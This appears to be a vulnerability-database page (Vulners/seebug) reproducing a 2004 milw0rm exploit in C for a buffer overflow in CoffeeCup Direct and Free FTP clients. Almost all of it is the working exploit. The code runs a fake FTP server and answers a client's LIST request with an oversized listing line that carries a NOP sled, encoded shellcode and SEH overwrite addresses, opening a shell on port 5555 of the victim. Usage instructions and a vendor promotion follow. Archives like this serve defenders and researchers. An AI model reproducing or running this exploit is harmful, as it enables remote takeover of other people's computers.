Lucene search
K

CoffeeCup FTP Clients (Direct <= 6.2.0.62) (Free <= 3.0.0.10) BoF Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

CoffeeCup FTP Clients (Direct <= 6.2.0.62) (Free <= 3.0.0.10) Buffer Overflow Vulnerability Exploit creates a fake FTP server to spawn a shell on the target machine

Code

                                                /*************************************************************************************

	CoffeeCup FTP Clients Buffer Overflow Vulnerability Exploit
	created by Komrade
	e-mail:	unsecure(at)altervista(dot)org
	web:	http://unsecure.altervista.org

	Tested on:
    	CoffeeCup Direct FTP 6.2.0.62
        CoffeeCup Free FTP 3.0.0.10

        on a Windows XP Professional sp2 operating system.

	This exploit creates a fake FTP server on your machine, waiting for the
	connection of an FTP client.
	After the exploit is sent a shell (command prompt) is spawn on port 5555
	of the target machine.
	This exploit works locally or remotely.

	Usage: coffecupbof [direct | free] [-l] [-r server IP]

	Options:
	 direct | free	&#34;direct&#34; to exploit a CoffeeCup Direct FTP client
	 		&#34;free&#34; to exploit a CoffeeCup Free FTP client
	 -l		executed locally
	 -r serverIP	executed remotely. You need to specify the address
	 		of the FTP server for the PASV command (Insert your IP address)

	Examples:

	C:\&#62; coffeecupbof direct -l		exploit for CoffeeCup Direct FTP executed locally
	C:\&#62; coffeecupbof free -r 10.0.0.1      exploit for CoffeeCup Free FTP executed remotely

*****************************************************************************************/

#include &#60;stdio.h&#62;
#include &#60;string.h&#62;
#include &#60;windows.h&#62;
#include &#60;winsock.h&#62;

#define FTP_PORT 21
#define PASV_PORT 1106

int version, wait = TRUE;

DWORD WINAPI fileList(LPVOID data);

int main(int argc,char **argv){

	SOCKET sock, client;
	struct sockaddr_in sock_addr,client_addr;
	WSADATA data;
	WORD p;
	char mess[4096], received[512], addr[32];
	int lun, n, i, err;
	HANDLE fileListH;
	DWORD fileListId, exitCode;

	p = MAKEWORD(2, 0);
	WSAStartup(p, &data);

	printf(&#34;------------------------------------------------------------------------------\r\n&#34;);
	printf(&#34;\tCoffeeCup FTP Clients Buffer Overflow Vulnerability Exploit\r\n&#34;);
	printf(&#34;\t\t\tcreated by Komrade\r\n\r\n&#34;);

	printf(&#34;\t\te-mail: unsecure(at)altervista(dot)org\r\n&#34;);
	printf(&#34;\t\tweb: http://unsecure.altervista.org\r\n&#34;);
	printf(&#34;------------------------------------------------------------------------------\r\n\r\n&#34;);

	if (((argc != 2) || (strcmp(argv[1], &#34;direct&#34;) != 0) || (strcmp(argv[1], &#34;free&#34;) != 0)) && ((argc != 3) ||
 (strcmp(argv[2], &#34;-l&#34;) != 0)) && ((argc != 4) || (strcmp(argv[2], &#34;-r&#34;) != 0))){
		printf(&#34;Usage: coffecupbof [direct | free] [-l] [-r server IP]\r\n\r\n&#34;);
		printf(&#34;Options:\r\n&#34;);
		printf(&#34; direct | free\t\&#34;direct\&#34; to exploit a CoffeeCup Direct FTP client\r\n&#34;);
		printf(&#34; \t\t\&#34;free\&#34; to exploit a CoffeeCup Free FTP client\r\n&#34;);
	 	printf(&#34; -l\t\tworks locally.\r\n&#34;);
		printf(&#34; -r server IP\tworks remotely. You need to specify the address of the\r\n&#34;);
		printf(&#34;\t\tFTP server for the PASV command (Insert your IP address)\r\n\r\n&#34;);
		printf(&#34;Examples:\r\n&#34;);
		printf(&#34; coffeecupbof direct -l\t\texploit for CoffeeCup Direct FTP\r\n\t\t\t\texecuted locally\r\n&#34;);
		printf(&#34; coffeecupbof free -r 10.0.0.1\texploit for CoffeeCup Free FTP\r
                                 \n\t\t\t\texecuted remotely\r\n&#34;);
		return 0;
	}

	if(strcmp(argv[1], &#34;direct&#34;) == 0)
		version = 1;
	else
		version = 2;

	if(strcmp(argv[2], &#34;-r&#34;) == 0){
		char *token[4];

		token[0]=strtok(argv[3], &#34;.&#34;);
		for(i = 1; i &#60; 4; i++){
			token[i]=strtok(NULL, &#34;.&#34;);
		}

		strcpy(addr, &#34;\0&#34;);

		for(i=0; (i &#60; 4) && (token[i]!= NULL); i++){
			strlcat(addr, token[i], 16);
			strcat(addr, &#34;,&#34;);
		}
	}
	else
		strcpy(addr, &#34;127,0,0,1,&#34;);

	sock=socket(PF_INET,SOCK_STREAM,0);
	sock_addr.sin_family=PF_INET;
	sock_addr.sin_port=htons(FTP_PORT);
	sock_addr.sin_addr.s_addr=INADDR_ANY;

        err = bind(sock, (struct sockaddr*)&sock_addr, sizeof(struct sockaddr_in));
	if (err &#60; 0){
		printf(&#34;Error in bind(). Port may be in use\r\n&#34;);
		return -1;
	}
	err = listen(sock,1);
	if (err &#60; 0){
		printf(&#34;Error in listen()\r\n&#34;);
		return -1;
	}

	lun = sizeof (struct sockaddr);

	printf(&#34;Opening the FTP port and waiting for connections...\r\n&#34;);
	client = accept(sock, (struct sockaddr*)&client_addr, &lun);
	printf(&#34;Client connected from IP: %s\r\n\r\n&#34;, inet_ntoa(client_addr.sin_addr));

	strcpy(mess, &#34;220 CoffeeCup FTP Clients Buffer Overflow Vulnerability Exploit\r\n&#34;);
	n=send(client, mess, strlen(mess), 0);
	if (n &#60; 0){
		printf(&#34;Error in send()\r\n&#34;);
		return -1;
	}

	while(wait == TRUE){

		Sleep(800);
		n = recv(client, received, sizeof(mess), 0);
		if (n &#60; 0){
			printf(&#34;Error in recv()\r\n&#34;);
			return -1;
		}

		received[n]=0;
		printf(&#34;CLIENT: %s&#34;, received);

		if (stricmp(&#34;USER&#34;, strtok(received, &#34; &#34;)) == 0)
			strcpy(mess, &#34;331 Anonymous access allowed, send password.\r\n&#34;);
		else if (stricmp(&#34;PASS&#34;, strtok(received, &#34; &#34;)) == 0)
			strcpy(mess, &#34;230 Anonymous user logged in.\r\n&#34;);
		else if (stricmp(&#34;PWD\r\n&#34;, received) == 0)
			strcpy(mess, &#34;257 \&#34;/\&#34; is current directory.\r\n&#34;);
		else if (stricmp(&#34;CWD&#34;, strtok(received, &#34; &#34;)) == 0)
			strcpy(mess, &#34;257 \&#34;/\&#34; is current directory.\r\n&#34;);
		else if (stricmp(&#34;TYPE&#34;, strtok(received, &#34; &#34;)) == 0)
			strcpy(mess, &#34;200 Type set to A.\r\n&#34;);
		else if (stricmp(&#34;PASV\r\n&#34;, received) == 0){
			fileListH = CreateThread(NULL, 0, fileList, NULL, 0, &fileListId);
			if (fileListH == NULL)
				printf(&#34;Error in CreateThread() %d&#34;, GetLastError());
			wsprintf(mess, &#34;227 Entering Passive Mode (%s4,82).\r\n&#34;, addr);
		}
		else if (stricmp(&#34;LIST&#34;, strtok(received, &#34; &#34;)) == 0 || stricmp(&#34;LIST\r\n&#34;, received) == 0){
			strcpy(mess, &#34;125 Data connection already open; Transfer starting.\r\n&#34;);
			printf(&#34;SERVER: %s\r\n&#34;, mess);
			n=send(client, mess, strlen(mess), 0);
			if (n &#60; 0){
				printf(&#34;Error in send()\r\n&#34;);
				return -1;
			}
			wait = FALSE;

			do{
				GetExitCodeThread(fileListH, &exitCode);
				Sleep(100);
			}
			while(exitCode == STILL_ACTIVE);
			printf(&#34;&#60; Long file name sent to client &#62;\r\n\r\n&#34;);

			strcpy(mess, &#34;226 Transfer complete.\r\n&#34;);
		}
		else
			strcpy(mess, &#34;550 Unimplemented\r\n&#34;);

		printf(&#34;SERVER: %s\r\n&#34;, mess);
		n = send(client, mess, strlen(mess), 0);
		if (n &#60; 0){
				printf(&#34;Error in send()\r\n&#34;);
				return -1;
		}
	}

	printf(&#34;Wait.......&#34;);
	Sleep(2000);
	printf(&#34;Exploit succesfully sent!\r\n&#34;);
	printf(&#34;Connect to %s port 5555 for the shell\r\n&#34;, inet_ntoa(client_addr.sin_addr));

	closesocket (client);
	closesocket(sock);

	WSACleanup();
	return 0;
}

DWORD WINAPI fileList(LPVOID data){

	char shellcode[] =
	&#34;\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x66\x01\x80\x34\x0A\x99\xE2\xFA\xEB&#34;
	&#34;\x05\xE8\xEB\xFF\xFF\xFF\x70\x99\x98\x99\x99\xC3\xFD\x12\xD8\xA9\x12&#34;
	&#34;\xD9\x95\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x9A\x6A\x12&#34;
	&#34;\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8&#34;
	&#34;\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E&#34;
	&#34;\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A&#34;
	&#34;\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58\x12&#34;
	&#34;\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0\x71\xE5&#34;
	&#34;\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41\xF3\x9D\xC0&#34;
	&#34;\x71\xF0\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B\x66\xCE\x69\x12&#34;
	&#34;\x41\x5E\x9E\x9B\x99\x8C\x2A\xAA\x59\x10\xDE\x9D\xF3\x89\xCE\xCA\x66&#34;
	&#34;\xCE\x6D\xF3\x98\xCA\x66\xCE\x61\xC9\xC9\xCA\x66\xCE\x65\x1A\x75\xDD&#34;
	&#34;\x12\x6D\xAA\x42\xF3\x89\xC0\x10\x85\x17\x7B\x62\x10\xDF\xA1\x10\xDF&#34;
	&#34;\xA5\x10\xDF\xD9\x5E\xDF\xB5\x98\x98\x99\x99\x14\xDE\x89\xC9\xCF\xCA&#34;
	&#34;\xCA\xCA\xF3\x98\xCA\xCA\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9&#34;
	&#34;\xCA\x66\xCE\x7D\xC9\x66\xCE\x71\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB&#34;
	&#34;\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\x62\x67\x66\x66&#34;
	&#34;\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDA\xEB&#34;
	&#34;\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED&#34;
	&#34;\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8&#34;
	&#34;\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA&#34;
	&#34;\xF2\xFC\xED\xD8\x99\xFB\xF0\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99&#34;
	&#34;\xF8\xFA\xFA\xFC\xE9\xED\x99&#34;;

	char shelljump1[] =	&#34;\x90\xEB\xBA\x90&#34;;

	char shelljump2[] =
	&#34;\x58\xB9\x21\xFC\xFF\xFF\xF7\xD1\x2B\xC1\xFF\xE0\xE8\xEF\xFF\xFF\xFF&#34;;

	char SEHAddr1[] = &#34;\x50\x39\x06\x6D&#34;;
	char SEHAddr2[] = &#34;\x0D\xA8\x03\x6D&#34;;


	SOCKET sock, client, list;
	struct sockaddr_in sock_addr,client_addr;

	WSADATA wData;
	WORD p;
	char mess[4096];
	int lun, n, i, err;

	p = MAKEWORD(2, 0);
	WSAStartup(p, &wData);

	sock=socket(PF_INET,SOCK_STREAM,0);
	sock_addr.sin_family=PF_INET;
	sock_addr.sin_port=htons(PASV_PORT);
	sock_addr.sin_addr.s_addr=INADDR_ANY;
        err = bind(sock, (struct sockaddr*)&sock_addr, sizeof(struct sockaddr_in));
	if (err &#60; 0){
		printf(&#34;Error in bind(). Port may be in use\r\n&#34;);
		return -1;
	}
	err = listen(sock,1);
	if (err &#60; 0){
		printf(&#34;Error in listen().\r\n&#34;);
		return -1;
	}

	lun = sizeof (struct sockaddr);

	client = accept(sock, (struct sockaddr*)&client_addr, &lun);

	while (wait == TRUE)
		Sleep(100);

	strcpy(mess, &#34;03-04-81 12:00PM 3 &#34;);

	for(i=strlen(mess); i&#60;100; i++)
		mess[i]=0x90;
	mess[i]=&#39;\0&#39;;

	strcat(mess, shellcode);

	for(i=strlen(mess); i&#60;1000; i++)
		mess[i]=0x90;
	mess[i]=&#39;\0&#39;;

	strcat(mess, shelljump2);

	for(i=strlen(mess); i&#60;1079; i++)
		mess[i]=0x90;
	mess[i]=&#39;\0&#39;;

	strcat(mess, shelljump1);
	if (version == 1)
		strcat(mess, SEHAddr1);
	else
		strcat(mess, SEHAddr2);

	for(i=strlen(mess); i&#60;1300; i++) // cause the exception
		mess[i]=&#39;b&#39;;
	mess[i]=&#39;\0&#39;;

	strcat(mess, &#34;\r\n&#34;);

	n = send(client, mess, strlen(mess), 0);
	if (n &#60; 0){
		printf(&#34;Error in send()\r\n&#34;);
		return -1;
	}

	closesocket(sock);
	closesocket(client);
	WSACleanup();

	return 0;
}

// milw0rm.com [2004-11-22]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation